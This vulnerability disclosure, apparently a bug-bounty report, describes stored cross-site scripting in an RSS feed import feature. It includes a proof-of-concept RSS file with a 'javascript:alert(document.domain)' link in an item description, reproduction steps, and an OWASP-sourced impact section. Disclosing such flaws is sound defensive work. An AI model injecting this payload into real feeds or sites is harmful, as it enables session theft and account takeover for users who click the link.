Description

An Administrator can import a malicious RSS feed that contains Cross Site Scripting (XSS) payloads inside RSS links. Victims who wish to visit an RSS content and click on the link will execute the Javascript.

Proof of Concept

1. Create a malicious RSS feeds

The XSS payload is inside items only in <description> attribute value :

<description>&lt;a href="javascript:alert(document.domain)" &gt;Click ME &lt;/a&gt;</description>

Content of payload.rss :

<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Home Title</title>
<link>https://aa.com</link>
<description>aaa</description>
<item>
  <title>Item Title</title>
    <link>https://aa.com</link>
    <description>
    &lt;a href="javascript:alert(document.domain)" &gt;Click ME &lt;/a&gt;
    </description>
</item>
</channel>
</rss>

2. Add RSS feed

3. In content click on the link of the description

4. XSS is executed

Impact

XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, or modifying presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose. Source OWASP - Cross Site Scripting (XSS). Source OWASP - Cross Site Scripting (XSS).